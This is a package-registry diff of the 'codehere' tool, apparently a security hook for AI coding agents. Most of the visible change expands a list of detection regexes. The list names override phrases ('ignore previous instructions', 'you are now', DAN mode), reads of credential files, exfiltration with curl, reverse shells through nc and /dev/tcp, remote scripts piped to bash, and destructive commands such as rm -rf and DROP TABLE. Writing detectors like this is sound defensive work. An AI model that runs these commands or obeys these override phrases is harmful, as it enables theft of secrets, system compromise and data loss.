codehere 0.2.2 → 0.3.0-rc.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +88 -68
- package/dist/domain/entities/task.js +4 -4
- package/dist/error-handler.js +4 -9
- package/dist/index.js +253 -1219
- package/dist/infrastructure/config/product-context.js +7 -6
- package/dist/infrastructure/hooks/claude-sdk-hook.js +348 -72
- package/dist/infrastructure/observability/execution-tracer.js +11 -6
- package/dist/infrastructure/orchestration/agent-adapter.js +13 -0
- package/dist/infrastructure/orchestration/agent-installer.js +101 -0
- package/dist/infrastructure/orchestration/agents-config-seed.js +56 -0
- package/dist/infrastructure/orchestration/aider-adapter.js +319 -0
- package/dist/infrastructure/orchestration/artifacts-extractor.js +175 -0
- package/dist/infrastructure/orchestration/claude-code-adapter.js +352 -0
- package/dist/infrastructure/orchestration/codex-adapter.js +310 -0
- package/dist/infrastructure/orchestration/generic-cli-adapter.js +553 -0
- package/dist/infrastructure/orchestration/opencode-adapter.js +275 -0
- package/dist/infrastructure/orchestration/progress-aggregator.js +189 -0
- package/dist/infrastructure/orchestration/readiness.js +106 -0
- package/dist/infrastructure/orchestration/session-manager.js +272 -0
- package/dist/infrastructure/orchestration/session-persistence.js +109 -0
- package/dist/infrastructure/protocols/mcp-helpers.js +10 -30
- package/dist/infrastructure/protocols/mcp-server-impl.js +359 -21
- package/dist/infrastructure/protocols/ui-page.js +1827 -0
- package/dist/infrastructure/security/file-collection.js +115 -0
- package/dist/infrastructure/security/trust-scorer.js +301 -56
- package/dist/infrastructure/storage/task-repository.js +8 -7
- package/dist/monitoring.js +9 -38
- package/dist/presentation/cli/commands/help-command.js +96 -139
- package/dist/presentation/cli/commands/hook-command.js +17 -24
- package/dist/presentation/cli/commands/report-command.js +59 -72
- package/dist/presentation/cli/commands/setup-command.js +4 -4
- package/dist/presentation/cli/commands/status-command.js +321 -30
- package/dist/presentation/cli/commands/trust-command.js +84 -72
- package/dist/presentation/cli/error-display.js +17 -21
- package/dist/ui.js +11 -11
- package/package.json +24 -62
- package/dist/agents/base.js +0 -101
- package/dist/agents/orchestrator-model-driven.js +0 -141
- package/dist/agents/react-orchestrator-agent.js +0 -54
- package/dist/application/agents/execution-agent.js +0 -508
- package/dist/application/agents/multi-agent-orchestrator.js +0 -295
- package/dist/application/agents/planning-agent.js +0 -433
- package/dist/application/agents/validation-agent.js +0 -317
- package/dist/application/architectures/plan-and-act.js +0 -242
- package/dist/application/index.js +0 -12
- package/dist/application/services/agent-factory.js +0 -28
- package/dist/application/services/dependency-container.js +0 -596
- package/dist/application/services/git-context-service.js +0 -83
- package/dist/application/services/intelligent-router.js +0 -934
- package/dist/application/services/tool-executor-service.js +0 -94
- package/dist/application/use-cases/ask-question-use-case.js +0 -338
- package/dist/application/use-cases/edit-file-use-case.js +0 -830
- package/dist/application/use-cases/explain-file-use-case.js +0 -50
- package/dist/application/use-cases/index-codebase-use-case.js +0 -113
- package/dist/application/use-cases/planning-use-case.js +0 -276
- package/dist/application/use-cases/react-orchestration-use-case.js +0 -329
- package/dist/application/use-cases/reflexion-use-case.js +0 -30
- package/dist/application/workflows/deterministic-workflows.js +0 -189
- package/dist/ast-parser.js +0 -331
- package/dist/cache.js +0 -180
- package/dist/chat.js +0 -251
- package/dist/code-analysis.js +0 -327
- package/dist/context.js +0 -187
- package/dist/docs.js +0 -146
- package/dist/domain/entities/code-chunk.js +0 -6
- package/dist/domain/entities/decision.js +0 -9
- package/dist/domain/entities/edit.js +0 -6
- package/dist/domain/entities/knowledge-node.js +0 -9
- package/dist/domain/entities/knowledge-preservation.js +0 -10
- package/dist/domain/entities/memory.js +0 -6
- package/dist/domain/entities/pattern.js +0 -7
- package/dist/domain/entities/plan.js +0 -6
- package/dist/domain/entities/query.js +0 -6
- package/dist/domain/errors/embeddings-not-found-error.js +0 -13
- package/dist/domain/index.js +0 -19
- package/dist/domain/interfaces/ai-service.interface.js +0 -6
- package/dist/domain/interfaces/code-analyzer.interface.js +0 -6
- package/dist/domain/interfaces/decision-repository.interface.js +0 -9
- package/dist/domain/interfaces/embedding-repository.interface.js +0 -6
- package/dist/domain/interfaces/knowledge-graph-repository.interface.js +0 -9
- package/dist/domain/interfaces/knowledge-preservation-repository.interface.js +0 -8
- package/dist/domain/interfaces/memory-repository.interface.js +0 -6
- package/dist/domain/interfaces/pattern-repository.interface.js +0 -6
- package/dist/domain/interfaces/verification-service.interface.js +0 -6
- package/dist/domain/services/cross-team-pattern-sharing.js +0 -125
- package/dist/domain/services/decision-recorder.js +0 -223
- package/dist/domain/services/decision-retriever.js +0 -133
- package/dist/domain/services/environment-mode-manager.js +0 -22
- package/dist/domain/services/graded-memory-activation.js +0 -69
- package/dist/domain/services/knowledge-access.js +0 -132
- package/dist/domain/services/knowledge-extractor.js +0 -247
- package/dist/domain/services/knowledge-graph-builder.js +0 -268
- package/dist/domain/services/knowledge-graph-query.js +0 -187
- package/dist/domain/services/memory-retriever.js +0 -82
- package/dist/domain/services/memory-synthesizer.js +0 -91
- package/dist/domain/services/pattern-extractor.js +0 -442
- package/dist/domain/services/query-intent-classifier.js +0 -140
- package/dist/domain/services/react-loop.js +0 -186
- package/dist/domain/services/risk-tier-detector.js +0 -78
- package/dist/edit.js +0 -319
- package/dist/embed.js +0 -459
- package/dist/formatter.js +0 -168
- package/dist/git.js +0 -198
- package/dist/infrastructure/ai/cohere-ai-service.js +0 -607
- package/dist/infrastructure/ai/command-r-evaluation.js +0 -206
- package/dist/infrastructure/ai/model-config.js +0 -84
- package/dist/infrastructure/ai/provider-ai-service.js +0 -477
- package/dist/infrastructure/cache/embedding-cache.js +0 -175
- package/dist/infrastructure/cache/query-result-cache.js +0 -66
- package/dist/infrastructure/cache/response-cache.js +0 -48
- package/dist/infrastructure/cache/security-scan-cache.js +0 -47
- package/dist/infrastructure/chunking/ast-code-chunker.js +0 -19
- package/dist/infrastructure/chunking/code-aware-chunker.js +0 -397
- package/dist/infrastructure/context/context-compressor.js +0 -329
- package/dist/infrastructure/context/conversation-context.js +0 -128
- package/dist/infrastructure/context/session-manager.js +0 -94
- package/dist/infrastructure/cost/cost-tracker.js +0 -360
- package/dist/infrastructure/file-scanner/file-scanner.js +0 -106
- package/dist/infrastructure/governance/nist-ai-rmf.js +0 -292
- package/dist/infrastructure/governance/policy-as-code.js +0 -258
- package/dist/infrastructure/governance/prompt-to-code-lineage.js +0 -239
- package/dist/infrastructure/index.js +0 -7
- package/dist/infrastructure/observability/prompt-versioner.js +0 -145
- package/dist/infrastructure/protocols/a2a-metadata.js +0 -137
- package/dist/infrastructure/protocols/a2a-protocol.js +0 -314
- package/dist/infrastructure/protocols/mcp-oauth.js +0 -184
- package/dist/infrastructure/protocols/mcp-server.js +0 -333
- package/dist/infrastructure/protocols/streaming-handler.js +0 -103
- package/dist/infrastructure/providers/cohere-provider.js +0 -444
- package/dist/infrastructure/providers/fake-provider.js +0 -130
- package/dist/infrastructure/providers/local-llm-provider.js +0 -330
- package/dist/infrastructure/providers/model-config.types.js +0 -9
- package/dist/infrastructure/providers/model-provider.interface.js +0 -8
- package/dist/infrastructure/providers/openai-provider.js +0 -413
- package/dist/infrastructure/providers/openrouter-provider.js +0 -399
- package/dist/infrastructure/providers/operation-provider-resolver.js +0 -105
- package/dist/infrastructure/providers/provider-config-loader.js +0 -120
- package/dist/infrastructure/providers/provider-registry.js +0 -88
- package/dist/infrastructure/safety/pattern-detector.js +0 -133
- package/dist/infrastructure/security/ai-sast-scanner.js +0 -290
- package/dist/infrastructure/security/docker-sandbox.js +0 -178
- package/dist/infrastructure/security/enhanced-security-gate.js +0 -151
- package/dist/infrastructure/security/license-scanner.js +0 -167
- package/dist/infrastructure/security/provider-bias-detector.js +0 -164
- package/dist/infrastructure/security/sandbox-executor.js +0 -64
- package/dist/infrastructure/serialization/toon-serializer.js +0 -119
- package/dist/infrastructure/storage/memory-stream-service.js +0 -204
- package/dist/infrastructure/storage/plan-repository.js +0 -96
- package/dist/infrastructure/storage/sqlite-decision-repository.js +0 -232
- package/dist/infrastructure/storage/sqlite-embedding-repository.js +0 -311
- package/dist/infrastructure/storage/sqlite-knowledge-graph-repository.js +0 -417
- package/dist/infrastructure/storage/sqlite-knowledge-preservation-repository.js +0 -230
- package/dist/infrastructure/storage/sqlite-memory-repository.js +0 -229
- package/dist/infrastructure/storage/sqlite-pattern-repository.js +0 -249
- package/dist/infrastructure/storage/task-helpers.js +0 -197
- package/dist/infrastructure/telemetry/telemetry-service.js +0 -167
- package/dist/infrastructure/ux/appropriate-friction.js +0 -213
- package/dist/infrastructure/ux/bi-directional-learning.js +0 -337
- package/dist/infrastructure/ux/capability-boundaries.js +0 -42
- package/dist/infrastructure/ux/comprehensive-formatter.js +0 -117
- package/dist/infrastructure/ux/contextual-feature-discovery.js +0 -10
- package/dist/infrastructure/ux/expectation-management.js +0 -327
- package/dist/infrastructure/ux/feature-discovery.js +0 -14
- package/dist/infrastructure/ux/feedback-prompt.js +0 -45
- package/dist/infrastructure/ux/hitl-validation.js +0 -297
- package/dist/infrastructure/ux/progress-indicator.js +0 -116
- package/dist/infrastructure/ux/progressive-disclosure.js +0 -236
- package/dist/infrastructure/ux/review-checkpoint.js +0 -72
- package/dist/infrastructure/ux/staged-feature-intro.js +0 -24
- package/dist/infrastructure/ux/stream-markdown.js +0 -151
- package/dist/infrastructure/ux/syntax-highlighter.js +0 -91
- package/dist/infrastructure/ux/team-standards.js +0 -196
- package/dist/infrastructure/ux/transparency.js +0 -71
- package/dist/infrastructure/validation/agent-feedback.js +0 -55
- package/dist/infrastructure/validation/agent-validation-helper.js +0 -137
- package/dist/infrastructure/validation/review-handler.js +0 -40
- package/dist/infrastructure/validation/summary-aggregator.js +0 -70
- package/dist/infrastructure/validation/summary-extractor.js +0 -45
- package/dist/infrastructure/validation/trace-summary.js +0 -52
- package/dist/infrastructure/verification/verification-service.js +0 -47
- package/dist/infrastructure/xai/attention-visualizer.js +0 -172
- package/dist/infrastructure/xai/cot-visualizer.js +0 -283
- package/dist/infrastructure/xai/decision-tree-log.js +0 -212
- package/dist/infrastructure/xai/interactive-xai.js +0 -260
- package/dist/infrastructure/xai/uncertainty-quantifier.js +0 -198
- package/dist/intelligent-retrieval.js +0 -272
- package/dist/intent/classifier.js +0 -2
- package/dist/intent/context.js +0 -2
- package/dist/iterative-refinement.js +0 -189
- package/dist/learning.js +0 -232
- package/dist/log.js +0 -31
- package/dist/migrate.js +0 -133
- package/dist/parallel-processor.js +0 -534
- package/dist/planner.js +0 -198
- package/dist/policy.js +0 -26
- package/dist/presentation/cli/commands/ask-command.js +0 -314
- package/dist/presentation/cli/commands/cost-command.js +0 -191
- package/dist/presentation/cli/commands/decision-command.js +0 -207
- package/dist/presentation/cli/commands/docs-command.js +0 -25
- package/dist/presentation/cli/commands/fix-command.js +0 -53
- package/dist/presentation/cli/commands/knowledge-command.js +0 -129
- package/dist/presentation/cli/commands/learning-dashboard-command.js +0 -183
- package/dist/presentation/cli/commands/models-command.js +0 -194
- package/dist/presentation/cli/commands/orchestrate-command.js +0 -207
- package/dist/presentation/cli/commands/plan-command.js +0 -246
- package/dist/presentation/cli/commands/product-command.js +0 -199
- package/dist/presentation/cli/commands/react-command.js +0 -181
- package/dist/presentation/cli/commands/review-command.js +0 -154
- package/dist/presentation/cli/commands/run-command.js +0 -188
- package/dist/presentation/cli/commands/smart-command.js +0 -395
- package/dist/presentation/cli/commands/suggest-command.js +0 -138
- package/dist/presentation/cli/commands/trace-command.js +0 -129
- package/dist/presentation/cli/commands/undo-command.js +0 -150
- package/dist/query-optimizer.js +0 -205
- package/dist/refactor.js +0 -116
- package/dist/review.js +0 -206
- package/dist/search.js +0 -163
- package/dist/session.js +0 -704
- package/dist/task-verification.js +0 -336
- package/dist/testgen.js +0 -166
- package/dist/token-optimizer.js +0 -277
- package/dist/tools/bash.js +0 -213
- package/dist/tools/edit.js +0 -235
- package/dist/tools/executor.js +0 -153
- package/dist/tools/git-tool.js +0 -292
- package/dist/tools/parser.js +0 -158
- package/dist/tools/registry.js +0 -302
- package/dist/tools/search.js +0 -100
- package/dist/types.js +0 -2
- package/dist/utils/check-api-status.js +0 -100
- package/dist/utils/diff-parser.js +0 -162
- package/dist/verification/backup.js +0 -259
- package/dist/verification/compiler.js +0 -264
- package/dist/verification/index.js +0 -273
- package/dist/verification/test-runner.js +0 -379
|
@@ -35,9 +35,12 @@ export function saveProductContext(ctx, cwd = process.cwd()) {
|
|
|
35
35
|
* Returns a plain-English risk label for use in recommendations.
|
|
36
36
|
*/
|
|
37
37
|
export function riskLabel(level) {
|
|
38
|
-
return level === 'critical'
|
|
39
|
-
|
|
40
|
-
|
|
38
|
+
return level === 'critical'
|
|
39
|
+
? 'critical-risk'
|
|
40
|
+
: level === 'high'
|
|
41
|
+
? 'high-risk'
|
|
42
|
+
: level === 'medium'
|
|
43
|
+
? 'production'
|
|
41
44
|
: 'low-risk';
|
|
42
45
|
}
|
|
43
46
|
/**
|
|
@@ -47,9 +50,7 @@ export function riskLabel(level) {
|
|
|
47
50
|
export function adjustRecommendation(base, criticalCount, highCount, score, ctx) {
|
|
48
51
|
if (!ctx)
|
|
49
52
|
return base;
|
|
50
|
-
const prefix = ctx.productionApp
|
|
51
|
-
? `${ctx.name || 'Production app'} · `
|
|
52
|
-
: '';
|
|
53
|
+
const prefix = ctx.productionApp ? `${ctx.name || 'Production app'} · ` : '';
|
|
53
54
|
if (criticalCount > 0) {
|
|
54
55
|
return `${prefix}${criticalCount} critical issue${criticalCount !== 1 ? 's' : ''} — fix before this goes to production.`;
|
|
55
56
|
}
|
|
@@ -18,64 +18,335 @@ import { join } from 'path';
|
|
|
18
18
|
import { homedir } from 'os';
|
|
19
19
|
const PATTERNS = [
|
|
20
20
|
// Prompt Injection
|
|
21
|
-
|
|
22
|
-
{
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
{
|
|
29
|
-
|
|
30
|
-
|
|
21
|
+
// Allow chained modifiers: "ignore all previous instructions", "ignore all your prior rules", etc.
|
|
22
|
+
{
|
|
23
|
+
regex: /ignore\s+(?:(?:previous|prior|above|all|your|the)\s+){1,4}(?:instructions?|rules?|prompts?|guidelines?)/i,
|
|
24
|
+
severity: 'critical',
|
|
25
|
+
category: 'Prompt Injection',
|
|
26
|
+
description: 'Attempts to override system instructions',
|
|
27
|
+
},
|
|
28
|
+
{
|
|
29
|
+
regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i,
|
|
30
|
+
severity: 'critical',
|
|
31
|
+
category: 'Prompt Injection',
|
|
32
|
+
description: 'Disregard instruction override',
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i,
|
|
36
|
+
severity: 'critical',
|
|
37
|
+
category: 'Prompt Injection',
|
|
38
|
+
description: 'Context clearing attempt',
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i,
|
|
42
|
+
severity: 'critical',
|
|
43
|
+
category: 'Prompt Injection',
|
|
44
|
+
description: 'Role hijacking attempt',
|
|
45
|
+
},
|
|
46
|
+
{
|
|
47
|
+
regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i,
|
|
48
|
+
severity: 'critical',
|
|
49
|
+
category: 'Prompt Injection',
|
|
50
|
+
description: 'System prompt injection',
|
|
51
|
+
},
|
|
52
|
+
{
|
|
53
|
+
regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i,
|
|
54
|
+
severity: 'critical',
|
|
55
|
+
category: 'Prompt Injection',
|
|
56
|
+
description: 'Instruction override attempt',
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i,
|
|
60
|
+
severity: 'critical',
|
|
61
|
+
category: 'Prompt Injection',
|
|
62
|
+
description: 'Jailbreak attempt',
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i,
|
|
66
|
+
severity: 'critical',
|
|
67
|
+
category: 'Prompt Injection',
|
|
68
|
+
description: 'Safety bypass attempt',
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i,
|
|
72
|
+
severity: 'high',
|
|
73
|
+
category: 'Prompt Injection',
|
|
74
|
+
description: 'Prompt template injection',
|
|
75
|
+
},
|
|
76
|
+
{
|
|
77
|
+
regex: /override\s+(safety|security|policy|restrictions?)/i,
|
|
78
|
+
severity: 'critical',
|
|
79
|
+
category: 'Prompt Injection',
|
|
80
|
+
description: 'Policy override attempt',
|
|
81
|
+
},
|
|
31
82
|
// Credential Theft
|
|
32
|
-
{
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
{
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
83
|
+
{
|
|
84
|
+
regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i,
|
|
85
|
+
severity: 'critical',
|
|
86
|
+
category: 'Credential Theft',
|
|
87
|
+
description: 'Reads credential files',
|
|
88
|
+
},
|
|
89
|
+
{
|
|
90
|
+
regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i,
|
|
91
|
+
severity: 'critical',
|
|
92
|
+
category: 'Credential Theft',
|
|
93
|
+
description: 'Exfiltrates env secrets',
|
|
94
|
+
},
|
|
95
|
+
{
|
|
96
|
+
regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i,
|
|
97
|
+
severity: 'high',
|
|
98
|
+
category: 'Credential Theft',
|
|
99
|
+
description: 'Environment variable exfiltration',
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i,
|
|
103
|
+
severity: 'critical',
|
|
104
|
+
category: 'Credential Theft',
|
|
105
|
+
description: 'API key exfiltration via curl',
|
|
106
|
+
},
|
|
107
|
+
// Reading SSH private keys is never benign in dev workflow — promote to critical.
|
|
108
|
+
// ssh-keygen alone (key generation) stays 'high' since it's also a legitimate setup operation.
|
|
109
|
+
{
|
|
110
|
+
regex: /cat\s+~?\/?\.ssh\/(id_rsa|id_ed25519|id_ecdsa|id_dsa)\b/i,
|
|
111
|
+
severity: 'critical',
|
|
112
|
+
category: 'Credential Theft',
|
|
113
|
+
description: 'Reads SSH private key',
|
|
114
|
+
},
|
|
115
|
+
{
|
|
116
|
+
regex: /ssh-keygen|cat\s+~?\/?\.ssh\/authorized_keys/i,
|
|
117
|
+
severity: 'high',
|
|
118
|
+
category: 'Credential Theft',
|
|
119
|
+
description: 'SSH key tooling access',
|
|
120
|
+
},
|
|
121
|
+
{
|
|
122
|
+
regex: /keychain|security\s+find-generic-password/i,
|
|
123
|
+
severity: 'high',
|
|
124
|
+
category: 'Credential Theft',
|
|
125
|
+
description: 'macOS keychain access attempt',
|
|
126
|
+
},
|
|
127
|
+
{
|
|
128
|
+
regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i,
|
|
129
|
+
severity: 'high',
|
|
130
|
+
category: 'Credential Theft',
|
|
131
|
+
description: 'Known API key reference',
|
|
132
|
+
},
|
|
133
|
+
{
|
|
134
|
+
regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i,
|
|
135
|
+
severity: 'medium',
|
|
136
|
+
category: 'Credential Theft',
|
|
137
|
+
description: 'Secret key reference',
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i,
|
|
141
|
+
severity: 'critical',
|
|
142
|
+
category: 'Credential Theft',
|
|
143
|
+
description: 'Credential webhook exfiltration',
|
|
144
|
+
},
|
|
145
|
+
{
|
|
146
|
+
regex: /\/proc\/\d+\/environ|\/etc\/shadow/i,
|
|
147
|
+
severity: 'critical',
|
|
148
|
+
category: 'Credential Theft',
|
|
149
|
+
description: 'System credential file access',
|
|
150
|
+
},
|
|
42
151
|
// Destructive Operations
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
{
|
|
49
|
-
|
|
50
|
-
|
|
152
|
+
// Block rm -rf against system roots or a user's whole home — but allow
|
|
153
|
+
// routine deletion under /tmp, ~/Library/Caches, node_modules, etc.
|
|
154
|
+
// Previous pattern included bare `\/` which matched any path starting
|
|
155
|
+
// with `/` (so `rm -rf /tmp/foo` was blocked). The alternatives below
|
|
156
|
+
// require an explicit system target or a bare home reference.
|
|
157
|
+
{
|
|
158
|
+
regex: /rm\s+-rf?\s+(?:\/(?:["'\s]|$|\*)|\/(?:home|etc|var|usr|bin|sbin|System|Library|opt|root|boot|dev)\b|~(?:["'\s]|$|\/(?:["'\s]|$|\*))|\$HOME(?:["'\s]|$|\/(?:["'\s]|$|\*))|\.\.(?:["'\s]|$))/im,
|
|
159
|
+
severity: 'critical',
|
|
160
|
+
category: 'Destructive',
|
|
161
|
+
description: 'Recursive deletion of system/home directories',
|
|
162
|
+
},
|
|
163
|
+
{
|
|
164
|
+
regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i,
|
|
165
|
+
severity: 'critical',
|
|
166
|
+
category: 'Destructive',
|
|
167
|
+
description: 'Mass file deletion',
|
|
168
|
+
},
|
|
169
|
+
{
|
|
170
|
+
regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i,
|
|
171
|
+
severity: 'critical',
|
|
172
|
+
category: 'Destructive',
|
|
173
|
+
description: 'Raw disk write attempt',
|
|
174
|
+
},
|
|
175
|
+
{
|
|
176
|
+
regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i,
|
|
177
|
+
severity: 'critical',
|
|
178
|
+
category: 'Destructive',
|
|
179
|
+
description: 'Database destruction',
|
|
180
|
+
},
|
|
181
|
+
// Force-push or hard reset against main/master/production is irreversible loss of shared history — critical.
|
|
182
|
+
// Force-push to other branches stays 'high' since rebase-and-force-push to feature branches is routine.
|
|
183
|
+
{
|
|
184
|
+
regex: /git\s+(?:push\s+(?:--force|-f)|reset\s+--hard)\s+\S*origin\s+(main|master|production|release|prod)\b/i,
|
|
185
|
+
severity: 'critical',
|
|
186
|
+
category: 'Destructive',
|
|
187
|
+
description: 'Force push or hard reset to a protected branch',
|
|
188
|
+
},
|
|
189
|
+
{
|
|
190
|
+
regex: /git\s+(push\s+(?:--force|-f)|reset\s+--hard)\s+origin/i,
|
|
191
|
+
severity: 'high',
|
|
192
|
+
category: 'Destructive',
|
|
193
|
+
description: 'Force push or hard reset to remote',
|
|
194
|
+
},
|
|
195
|
+
{
|
|
196
|
+
regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i,
|
|
197
|
+
severity: 'high',
|
|
198
|
+
category: 'Destructive',
|
|
199
|
+
description: 'System shutdown/reboot',
|
|
200
|
+
},
|
|
201
|
+
{
|
|
202
|
+
regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i,
|
|
203
|
+
severity: 'medium',
|
|
204
|
+
category: 'Destructive',
|
|
205
|
+
description: 'Process mass termination',
|
|
206
|
+
},
|
|
207
|
+
{
|
|
208
|
+
regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i,
|
|
209
|
+
severity: 'high',
|
|
210
|
+
category: 'Destructive',
|
|
211
|
+
description: 'Scheduled destruction',
|
|
212
|
+
},
|
|
51
213
|
// Code/Command Injection
|
|
52
214
|
// NOTE: patterns match execution intent, not grep/search of these strings.
|
|
53
215
|
// A command starting with "grep", "rg", "ag", or "find" is a search, not execution —
|
|
54
216
|
// those are pre-filtered in buildScanPayload before patterns run.
|
|
55
|
-
{
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
{
|
|
62
|
-
|
|
63
|
-
|
|
217
|
+
{
|
|
218
|
+
regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i,
|
|
219
|
+
severity: 'critical',
|
|
220
|
+
category: 'Code Injection',
|
|
221
|
+
description: 'Remote script piped directly to shell',
|
|
222
|
+
},
|
|
223
|
+
{
|
|
224
|
+
regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i,
|
|
225
|
+
severity: 'critical',
|
|
226
|
+
category: 'Code Injection',
|
|
227
|
+
description: 'Remote code execution via wget',
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i,
|
|
231
|
+
severity: 'critical',
|
|
232
|
+
category: 'Code Injection',
|
|
233
|
+
description: 'Inline node eval execution',
|
|
234
|
+
},
|
|
235
|
+
{
|
|
236
|
+
regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i,
|
|
237
|
+
severity: 'critical',
|
|
238
|
+
category: 'Code Injection',
|
|
239
|
+
description: 'eval() with external or env input',
|
|
240
|
+
},
|
|
241
|
+
{
|
|
242
|
+
regex: /exec\s*\(\s*['"]\s*system/i,
|
|
243
|
+
severity: 'critical',
|
|
244
|
+
category: 'Code Injection',
|
|
245
|
+
description: 'System shell from code',
|
|
246
|
+
},
|
|
247
|
+
{
|
|
248
|
+
regex: /python\s+-c\s+["']import\s+os;os\.system/i,
|
|
249
|
+
severity: 'high',
|
|
250
|
+
category: 'Code Injection',
|
|
251
|
+
description: 'Python shell injection',
|
|
252
|
+
},
|
|
253
|
+
// Reverse shell forms:
|
|
254
|
+
// nc -e /bin/bash 1.2.3.4 4444 (binary between -e and IP)
|
|
255
|
+
// nc -e 1.2.3.4 4444 (IP directly after -e)
|
|
256
|
+
// bash -i >& /dev/tcp/host/port (bash builtin)
|
|
257
|
+
{
|
|
258
|
+
regex: /nc\s+-[eln]+(?:\s+\S+)?\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i,
|
|
259
|
+
severity: 'critical',
|
|
260
|
+
category: 'Code Injection',
|
|
261
|
+
description: 'Reverse shell attempt',
|
|
262
|
+
},
|
|
263
|
+
{
|
|
264
|
+
regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i,
|
|
265
|
+
severity: 'critical',
|
|
266
|
+
category: 'Code Injection',
|
|
267
|
+
description: 'Base64-encoded code execution',
|
|
268
|
+
},
|
|
269
|
+
{
|
|
270
|
+
regex: /\$\(curl|subprocess\.run\(['"]curl/i,
|
|
271
|
+
severity: 'high',
|
|
272
|
+
category: 'Code Injection',
|
|
273
|
+
description: 'Command substitution with curl',
|
|
274
|
+
},
|
|
64
275
|
// Supply Chain
|
|
65
|
-
{
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
276
|
+
{
|
|
277
|
+
regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i,
|
|
278
|
+
severity: 'high',
|
|
279
|
+
category: 'Supply Chain',
|
|
280
|
+
description: 'Suspicious package version pattern',
|
|
281
|
+
},
|
|
282
|
+
{
|
|
283
|
+
regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i,
|
|
284
|
+
severity: 'high',
|
|
285
|
+
category: 'Supply Chain',
|
|
286
|
+
description: 'Typosquatting package pattern',
|
|
287
|
+
},
|
|
288
|
+
{
|
|
289
|
+
regex: /preinstall|postinstall|prepare/i,
|
|
290
|
+
severity: 'medium',
|
|
291
|
+
category: 'Supply Chain',
|
|
292
|
+
description: 'Lifecycle script reference',
|
|
293
|
+
},
|
|
294
|
+
{
|
|
295
|
+
regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i,
|
|
296
|
+
severity: 'critical',
|
|
297
|
+
category: 'Supply Chain',
|
|
298
|
+
description: 'Direct npm tarball execution',
|
|
299
|
+
},
|
|
69
300
|
// OWASP / Security Misconfig
|
|
70
|
-
{
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
301
|
+
{
|
|
302
|
+
regex: /Access-Control-Allow-Origin:\s*\*/i,
|
|
303
|
+
severity: 'medium',
|
|
304
|
+
category: 'OWASP',
|
|
305
|
+
description: 'Wildcard CORS header',
|
|
306
|
+
},
|
|
307
|
+
{
|
|
308
|
+
regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i,
|
|
309
|
+
severity: 'high',
|
|
310
|
+
category: 'OWASP',
|
|
311
|
+
description: 'SSL certificate verification disabled',
|
|
312
|
+
},
|
|
313
|
+
{
|
|
314
|
+
regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i,
|
|
315
|
+
severity: 'medium',
|
|
316
|
+
category: 'OWASP',
|
|
317
|
+
description: 'Hardcoded credential',
|
|
318
|
+
},
|
|
319
|
+
{
|
|
320
|
+
regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i,
|
|
321
|
+
severity: 'high',
|
|
322
|
+
category: 'OWASP',
|
|
323
|
+
description: 'Potential XSS via user input',
|
|
324
|
+
},
|
|
325
|
+
{
|
|
